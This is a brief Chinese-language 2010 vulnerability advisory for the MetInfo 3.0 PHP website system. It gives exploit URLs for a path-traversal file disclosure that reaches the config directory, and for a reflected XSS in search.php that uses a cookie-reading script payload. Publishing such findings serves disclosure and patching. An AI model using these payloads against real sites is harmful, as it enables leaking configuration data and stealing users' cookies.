metinfo3.0 敏感信息泄露与跨站漏洞

发布日期：2010-11.12
发布作者：Tr0J4n

影响版本：metinfo3.0
官方地址：http://www.metinfo.cn

漏洞类型：敏感信息泄露
漏洞描述：metinfo企业网站管理系统是一个功能完善的营销型企业网站管理平台，PHP+MYSQL架构的。在设计的时候出现两个错误，敏感信息泄露与跨站。
 

========================================================

metinfo3.0 文件代码泄露
========================================================

[>] exploit ->

[+] http://localhost/metinfo/templates/met001/../../ [file disclosure]

EX :

[+] http://localhost/metinfo/templates/met001/../../config

======================================================

[>] metinfo3.0 XSS 跨站漏洞

======================================================

[>] exploit -> XSS Vulnerability

http://localhost/metinfo/search/search.php?lang=en&class1=0&class2=0&class3=0&searchtype=0&searchword=[XSS]

http://localhost/metinfo/search/search.php?lang=en&class1=0&class2=0&class3=0&searchtype=0&searchword=1<script>alert(document.cookie)</script>

标签分类：